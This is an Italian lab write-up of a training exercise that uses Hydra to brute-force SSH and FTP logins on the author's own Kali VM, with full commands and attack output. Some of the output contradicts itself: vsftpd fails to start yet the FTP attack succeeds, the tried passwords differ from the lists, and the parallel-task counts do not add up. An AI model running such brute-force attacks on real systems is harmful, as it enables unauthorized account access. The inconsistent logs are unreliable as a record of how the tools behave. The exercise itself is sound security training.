

# Authentication cracking con Hydra

## Introduzione

L'esercizio odierno si articola in due fasi principali con un duplice obiettivo: praticare l'uso di Hydra per craccare l'autenticazione dei servizi di rete e consolidare le conoscenze sulla configurazione di tali servizi.

Le fasi sono:

- 1) Abilitazione di un servizio SSH e successiva sessione di cracking dell'autenticazione tramite Hydra.
- 2) Configurazione e cracking di un servizio di rete a scelta (es. FTP, RDP, Telnet, autenticazione HTTP) in autonomia.

## Lista dei Comandi Utilizzati

### Configurazione e cracking del servizio SSH

1. **sudo adduser test\_user**  
Crea un nuovo utente chiamato test\_user sul sistema, che verrà utilizzato per testare l'autenticazione SSH.
2. **sudo service ssh start**  
Avvia il servizio SSH sul sistema.
3. **sudo systemctl status ssh**  
Verifica lo stato del servizio SSH, confermandone il corretto avvio e funzionamento.
4. **ip a**  
Mostra gli indirizzi IP assegnati alle interfacce di rete, utile per identificare l'IP della macchina su cui è attivo il servizio SSH.
5. **ssh test\_user@192.168.50.100**  
Tenta di connettersi al servizio SSH sull'indirizzo IP 192.168.50.100 utilizzando l'utente test\_user.
6. **nano username\_list.txt** – creazione del file di testo contenente gli username.
7. **nano password\_list.txt** – creazione del file di testo contenente le password.
8. **hydra -L /home/test\_user/username\_list.txt -P /home/test\_user/password\_list.txt 192.168.50.100 ssh -V -t 1**  
Esegue un attacco di forza bruta sul servizio SSH utilizzando Hydra, con una lista di username e password.

### Configurazione e cracking di un altro servizio di rete (ftp)

1. **hydra -L username\_list.txt -P password\_list.txt 192.168.50.100 ftp -V**  
Esegue un attacco di forza bruta sul servizio FTP utilizzando Hydra, con una lista di username e password.

## Esecuzione dell'esercizio

### Configurazione e cracking del servizio SSH

1. Tramite il terminale di Kali, utilizzando il comando **sudo adduser test\_user** creiamo un nuovo utente.

```
(kali@kali)-[~]
$ sudo adduser test_user
info: Adding user `test_user' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `test_user' (1001) ...
info: Adding new user `test_user' (1001) with group `test_user (1001)' ...
info: Creating home directory `/home/test_user' ...
info: Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
  Full Name []:
  Room Number []:
  Work Phone []:
  Home Phone []:
  Other []:
Is the information correct? [Y/n] y
info: Adding new user `test_user' to supplemental / extra groups `users' ...
info: Adding user `test_user' to group `users' ...
```

L'utente creato avrà come username: **test\_user** e come password: **testpass**

2. Avviamo il servizio SSH con: **sudo service ssh start**

```
(kali@kali)-[~]
$ sudo service ssh start
```

3. Successivamente ci accertiamo che il servizio SSH sia attivo con: **sudo systemctl status ssh**

```
(kali@kali)-[~]
$ sudo systemctl status ssh
● ssh.service - OpenBSD Secure Shell server
   Loaded: loaded (/usr/lib/systemd/system/ssh.service; disabled; preset: disabled)
   Active: active (running) since Fri 2025-03-07 04:14:09 EST; 1h 21min ago
  Invocation: d92c53082f4046d39ac6c0b31f78fe1e
     Docs: man:sshd(8)
           man:sshd_config(5)
   Process: 2997 ExecStartPre=/usr/sbin/sshd -t (code=exited, status=0/SUCCESS)
  Main PID: 2998 (sshd)
    Tasks: 1 (limit: 4557)
   Memory: 5.8M (peak: 22.6M)
      CPU: 175ms
   CGroup: /system.slice/ssh.service
           └─2998 "sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
```

4. Con il comando **ip a** andremo a individuare l'indirizzo IP della macchina su cui è attivo il servizio SSH.

```
(kali㉿kali)-[~]
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:6e:13:6e brd ff:ff:ff:ff:ff:ff
    inet 192.168.50.100/24 brd 192.168.50.255 scope global noprefixroute eth0
        valid_lft forever preferred_lft forever
```

L'indirizzo IP è: **192.168.50.100**

5. Ottenuto l'indirizzo IP, testiamo la connessione con il comando: **ssh test\_user@192.168.50.100**

```
(kali㉿kali)-[~]
$ ssh test_user@192.168.50.100
test_user@192.168.50.100's password:
Linux kali 6.11.2-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.11.2-1kali1 (2024-10-15) x86_64
root@kali:~#
The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
```

6. Successivamente con i comandi: **nano username\_list.txt** e **nano password\_list.txt** andremo a creare dei file di testo contenenti vari username e varie password.

Nel file di testo **username\_list.txt** aggiungeremo **test\_user**

```
File Actions Edit View Help
GNU nano 8.3
ShadowVoyager
CrimsonPhantom
QuantumRider
NeonSpectre
FrostPulse
test_user
```

Nel file di testo **password\_list.txt** aggiungeremo **testpass**

```
File Actions Edit View Help
GNU nano 8.3
Quantum$hielD7
Nebula!Pulse9
Crimson*Vortex2
Obsidian@Rift5
Rift$Walker1
Warden@Nebula7
testpass
```

7. Salvato i file di testo, eseguiremo il seguente comando: **hydra -L /home/test\_user/username\_list.txt -P /home/test\_user/password\_list.txt 192.168.50.100 ssh -V -t 1).**

L'opzione **-V** abilita la modalità verbose, significa che mostrerà più dettagli mentre sta lavorando.

L'opzione **-t 1** limita il numero di tentativi paralleli a 1, in altre parole Hydra proverà una combinazione di username e password alla volta, invece di provarne molte insieme. Questo rende l'attacco più lento ma è utile per evitare di sovraccaricare il servizio o essere rilevati.

```
test_user@kali:~$ hydra -L /home/test_user/username_list.txt -P /home/test_user/password_list.txt 192.168.50.100 ssh -V -t 1
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-03-07 08:18:34
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 1 task per 1 server, overall 1 task, 42 login tries (1:6/p:7), ~42 tries per task
[DATA] attacking ssh://192.168.50.100:22/
[ATTEMPT] target 192.168.50.100 - login "ShadowVoyager" - pass "QuantumShield7" - 1 of 42 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ShadowVoyager" - pass "NebulaPulse9" - 2 of 42 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ShadowVoyager" - pass "CrimsonVortex2" - 3 of 42 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ShadowVoyager" - pass "ObsidianRift5" - 4 of 42 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ShadowVoyager" - pass "RiftWalker1" - 5 of 42 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ShadowVoyager" - pass "WardenNebula7" - 6 of 42 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ShadowVoyager" - pass "testpass" - 7 of 42 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "CrimsonPhantom" - pass "QuantumShield7" - 8 of 42 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "CrimsonPhantom" - pass "NebulaPulse9" - 9 of 42 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "CrimsonPhantom" - pass "CrimsonVortex2" - 10 of 42 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "CrimsonPhantom" - pass "ObsidianRift5" - 11 of 42 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "CrimsonPhantom" - pass "RiftWalker1" - 12 of 42 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "CrimsonPhantom" - pass "WardenNebula7" - 13 of 42 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "CrimsonPhantom" - pass "testpass" - 14 of 42 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "QuantumRider" - pass "QuantumShield7" - 15 of 42 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "QuantumRider" - pass "NebulaPulse9" - 16 of 42 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "QuantumRider" - pass "CrimsonVortex2" - 17 of 42 [child 0] (0/0)
[STATUS] 17.00 tries/min, 17 tries in 00:01h, 25 to do in 00:02h, 1 active
[ATTEMPT] target 192.168.50.100 - login "QuantumRider" - pass "ObsidianRift5" - 18 of 42 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "QuantumRider" - pass "RiftWalker1" - 19 of 42 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "QuantumRider" - pass "WardenNebula7" - 20 of 42 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "QuantumRider" - pass "testpass" - 21 of 42 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "NeonSpectre" - pass "QuantumShield7" - 22 of 42 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "NeonSpectre" - pass "NebulaPulse9" - 23 of 42 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "NeonSpectre" - pass "CrimsonVortex2" - 24 of 42 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "NeonSpectre" - pass "ObsidianRift5" - 25 of 42 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "NeonSpectre" - pass "RiftWalker1" - 26 of 42 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "NeonSpectre" - pass "WardenNebula7" - 27 of 42 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "NeonSpectre" - pass "testpass" - 28 of 42 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "FrostPulse" - pass "QuantumShield7" - 29 of 42 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "FrostPulse" - pass "NebulaPulse9" - 30 of 42 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "FrostPulse" - pass "CrimsonVortex2" - 31 of 42 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "FrostPulse" - pass "ObsidianRift5" - 32 of 42 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "FrostPulse" - pass "RiftWalker1" - 33 of 42 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "FrostPulse" - pass "WardenNebula7" - 34 of 42 [child 0] (0/0)
[STATUS] 17.00 tries/min, 34 tries in 00:02h, 8 to do in 00:01h, 1 active
[ATTEMPT] target 192.168.50.100 - login "FrostPulse" - pass "testpass" - 35 of 42 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "QuantumShield7" - 36 of 42 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "NebulaPulse9" - 37 of 42 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "CrimsonVortex2" - 38 of 42 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "ObsidianRift5" - 39 of 42 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "RiftWalker1" - 40 of 42 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "WardenNebula7" - 41 of 42 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testpass" - 42 of 42 [child 0] (0/0)
[22][ssh] host: 192.168.50.100 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-03-07 08:21:16
```

Questo comando eseguirà un attacco di forza bruta sul servizio SSH utilizzando Hydra insieme ai file di testo visti in precedenza così da farci trovare l'host: **192.168.50.100** login: **test\_user** e la password: **testpass**

## Configurazione e cracking di un altro servizio di rete (ftp)

Per questo esercizio il servizio di rete scelto su cui è stato eseguito l'attacco brute force è il **FTP**.

1. Installiamo il servizio dal terminale Kali con il seguente comando: **sudo apt install vsftpd**

```
kali@kali: ~$ sudo apt install vsftpd
[sudo] password for kali:
Installing:
  vsftpd

Summary:
  Upgrading: 0, Installing: 1, Removing: 0, Not Upgrading: 1473
  Download size: 143 kB
  Space needed: 352 kB / 53.1 GB available

Get:1 http://kali.download/kali kali-rolling/main amd64 vsftpd amd64 3.0.5-0.1 [143 kB]
Fetched 143 kB in 2s (60.8 kB/s)
Preconfiguring packages ...
Selecting previously unselected package vsftpd.
(Reading database ... 410266 files and directories currently installed.)
Preparing to unpack .../vsftpd_3.0.5-0.1_amd64.deb ...
Unpacking vsftpd (3.0.5-0.1) ...
Setting up vsftpd (3.0.5-0.1) ...
/usr/lib/tmpfiles.d/vsftpd.conf.1: Line references path below legacy directory /var/run/, updating /var/run/vsftpd/empty + /run/vsftpd/empty; please update the tmpfiles.d/ drop-in file accordingly.
update-rc.d: We have no instructions for the vsftpd init script.
update-rc.d: It looks like a network service, we disable it.
Processing triggers for man-db (2.13.0-1) ...
Processing triggers for kali-menu (2024.4.0) ...
```

2. Terminata l'installazione, avviamo il servizio con il comando: **sudo service vsftpd start**

```
(kali@kali)-[~]
$ sudo service vsftpd start
vsftpd.service: Failed at 2025-03-07 08:23:46.
$
```

3. Utilizziamo Hydra per eseguire un attacco di forza bruta sul servizio ftp con il seguente comando: **hydra -L username\_list.txt -P password\_list.txt 192.168.50.100 ftp -V**

```
(test_user@kali)-[~]
$ hydra -L username_list.txt -P password_list.txt 192.168.50.100 ftp -V
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-03-07 08:23:46
[DATA] max 16 tasks per 1 server, overall 16 tasks, 42 login tries (1:6/p:7), ~3 tries per task
[DATA] attacking ftp://192.168.50.100:21/
[ATTEMPT] target 192.168.50.100 - login "ShadowVoyager" - pass "QuantumShield7" - 1 of 42 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ShadowVoyager" - pass "NebulaPulse9" - 2 of 42 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ShadowVoyager" - pass "CrimsonVortex2" - 3 of 42 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ShadowVoyager" - pass "ObsidianRift5" - 4 of 42 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ShadowVoyager" - pass "RiftWalker1" - 5 of 42 [child 4] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ShadowVoyager" - pass "WardenNebula7" - 6 of 42 [child 5] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ShadowVoyager" - pass "testpass" - 7 of 42 [child 6] (0/0)
[ATTEMPT] target 192.168.50.100 - login "CrimsonPhantom" - pass "QuantumShield7" - 8 of 42 [child 7] (0/0)
[ATTEMPT] target 192.168.50.100 - login "CrimsonPhantom" - pass "NebulaPulse9" - 9 of 42 [child 8] (0/0)
[ATTEMPT] target 192.168.50.100 - login "CrimsonPhantom" - pass "CrimsonVortex2" - 10 of 42 [child 9] (0/0)
[ATTEMPT] target 192.168.50.100 - login "CrimsonPhantom" - pass "ObsidianRift5" - 11 of 42 [child 10] (0/0)
[ATTEMPT] target 192.168.50.100 - login "CrimsonPhantom" - pass "RiftWalker1" - 12 of 42 [child 11] (0/0)
[ATTEMPT] target 192.168.50.100 - login "CrimsonPhantom" - pass "WardenNebula7" - 13 of 42 [child 12] (0/0)
[ATTEMPT] target 192.168.50.100 - login "CrimsonPhantom" - pass "testpass" - 14 of 42 [child 13] (0/0)
[ATTEMPT] target 192.168.50.100 - login "QuantumRider" - pass "QuantumShield7" - 15 of 42 [child 14] (0/0)
[ATTEMPT] target 192.168.50.100 - login "QuantumRider" - pass "NebulaPulse9" - 16 of 42 [child 15] (0/0)
[ATTEMPT] target 192.168.50.100 - login "QuantumRider" - pass "CrimsonVortex2" - 17 of 42 [child 16] (0/0)
[ATTEMPT] target 192.168.50.100 - login "QuantumRider" - pass "ObsidianRift5" - 18 of 42 [child 17] (0/0)
[ATTEMPT] target 192.168.50.100 - login "QuantumRider" - pass "RiftWalker1" - 19 of 42 [child 18] (0/0)
[ATTEMPT] target 192.168.50.100 - login "QuantumRider" - pass "WardenNebula7" - 20 of 42 [child 19] (0/0)
[ATTEMPT] target 192.168.50.100 - login "QuantumRider" - pass "testpass" - 21 of 42 [child 20] (0/0)
[ATTEMPT] target 192.168.50.100 - login "NeonSpectre" - pass "QuantumShield7" - 22 of 42 [child 21] (0/0)
[ATTEMPT] target 192.168.50.100 - login "NeonSpectre" - pass "NebulaPulse9" - 23 of 42 [child 22] (0/0)
[ATTEMPT] target 192.168.50.100 - login "NeonSpectre" - pass "CrimsonVortex2" - 24 of 42 [child 23] (0/0)
[ATTEMPT] target 192.168.50.100 - login "NeonSpectre" - pass "ObsidianRift5" - 25 of 42 [child 24] (0/0)
[ATTEMPT] target 192.168.50.100 - login "NeonSpectre" - pass "RiftWalker1" - 26 of 42 [child 25] (0/0)
[ATTEMPT] target 192.168.50.100 - login "NeonSpectre" - pass "WardenNebula7" - 27 of 42 [child 26] (0/0)
[ATTEMPT] target 192.168.50.100 - login "NeonSpectre" - pass "testpass" - 28 of 42 [child 27] (0/0)
[ATTEMPT] target 192.168.50.100 - login "FrostPulse" - pass "QuantumShield7" - 29 of 42 [child 28] (0/0)
[ATTEMPT] target 192.168.50.100 - login "FrostPulse" - pass "NebulaPulse9" - 30 of 42 [child 29] (0/0)
[ATTEMPT] target 192.168.50.100 - login "FrostPulse" - pass "CrimsonVortex2" - 31 of 42 [child 30] (0/0)
[ATTEMPT] target 192.168.50.100 - login "FrostPulse" - pass "ObsidianRift5" - 32 of 42 [child 31] (0/0)
[ATTEMPT] target 192.168.50.100 - login "FrostPulse" - pass "RiftWalker1" - 33 of 42 [child 32] (0/0)
[ATTEMPT] target 192.168.50.100 - login "FrostPulse" - pass "WardenNebula7" - 34 of 42 [child 33] (0/0)
[ATTEMPT] target 192.168.50.100 - login "FrostPulse" - pass "testpass" - 35 of 42 [child 34] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "QuantumShield7" - 36 of 42 [child 35] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "NebulaPulse9" - 37 of 42 [child 36] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "CrimsonVortex2" - 38 of 42 [child 37] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "ObsidianRift5" - 39 of 42 [child 38] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "RiftWalker1" - 40 of 42 [child 39] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "WardenNebula7" - 41 of 42 [child 40] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testpass" - 42 of 42 [child 41] (0/0)
[21][ftp] host: 192.168.50.100 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-03-07 08:23:57
```

Questo attacco ci consentirà di trovare l'host: **192.168.50.100** login: **test\_user** password: **testpass**

## **Conclusioni**

In conclusione, è fondamentale proteggere le proprie password utilizzando combinazioni sicure e complesse, evitando errori comuni come l'uso di password deboli o facilmente indovinabili. Gli attacchi di brute force permettono di ottenere le credenziali con relativa facilità, rendendo ancora più importante adottare misure di sicurezza adeguate a salvaguardare i propri account e dati personali.